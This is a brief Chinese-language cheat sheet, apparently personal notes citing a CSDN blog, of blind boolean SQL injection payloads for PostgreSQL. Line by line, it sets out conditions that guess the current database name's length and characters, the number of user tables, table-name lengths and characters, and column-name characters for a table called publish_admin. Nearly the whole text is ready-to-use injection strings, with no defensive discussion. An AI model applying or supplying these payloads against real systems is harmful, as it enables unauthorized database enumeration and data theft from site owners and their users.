參考:
https://blog.csdn.net/p656456564545/article/details/42466633
先猜當前數據庫的長度
and (select length(current_database())) between 0 and 30
ascii猜解庫名的每個字符
and (select ascii(substr(current_database(),1,1))) between 0 and 32768
猜解數據庫的表的個數
and (select count(*) from pg_stat_user_tables) between 20 and 20
猜解庫裏的表名的長度
and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 19 and 19
猜解表名裏面的每個字符
(select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 32768
接下來猜解字段名即可,爲:
and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name= publish_admin +between+0+and+256